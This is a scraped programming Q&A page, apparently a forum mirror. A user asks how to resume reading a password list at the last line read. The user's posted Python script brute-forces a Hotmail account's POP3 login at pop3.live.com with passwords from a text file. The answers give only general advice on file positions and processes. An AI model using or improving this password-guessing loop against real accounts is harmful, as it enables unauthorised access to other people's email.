开发者

How to re-read in the last point ! python

how to read txt file and stop then continue at last read line

example:
Joe
LOley
Hana fat
oh beef come one

example = the txt file and that last line i had read it is Hana fat so how i can continue ? like that:

#!/usr/bin/python
#this script name is x.py don't forget that
import os
 f= open("Str1k3r.txt", "r")
for pwd in f.readlines():
    con(pwd.replace("\r", "").replace("\n", ""))
os.system('x.py')

x.py= the script file when i run it again he continue in last line he had read ! \\\\ why i need that ?b开发者_开发问答ecause my script try to connect pop3.live.com and try to log in with so many password from txt file and the only way to pass is run the script over and over again but with different line of the txt file so how we can do ? that my code .. so how to do it? because my script try to connect pop3.live.com and try to log in with so many password from txt file and the only way to pass is run the script over and over again but with different line of the txt file

that is my code

  import poplib
  def con(pwd):
    M = poplib.POP3_SSL('pop3.live.com', 995) 
    try:
        M.user("test123@hotmail.com")
        M.rset(M.pass_(pwd))
    except:
        print "[-]password incorrect"
    else:
        print '[+]really Password is:', pwd 
        exit()

f = open("Str1k3r.txt", "r")
for pwd in f.readlines():


you might want to try using seek(), tell() etc... See the documents for more.


f= open("Str1k3r.txt", "r")
for line in f:
    print line
    break

for line in f:
    print line # Continues with line 2 as f knows where it stopped
    break      # It's actually using file.next()


Every time you execute 'x.py', you reopen the file - at the beginning. That's what 'open' does.

If you want to continue reading, you'll probably want to arrange that the file is read from a known file descriptor - possibly standard input - so that you don't keep resetting it. That said, you might have to worry about buffered I/O. The first process might read a buffer full of the file, and only process part of the data in the buffer; the second process would continue where the I/O finished, not where the program finished.

Also, because you're using os.system(), you are gradually building up a set of processes that have not terminated, all waiting on their next child to die. Investigate your 'exec' options.

0

上一篇:

下一篇:

精彩评论

暂无评论...
验证码 换一张
取 消

最新问答

问答排行榜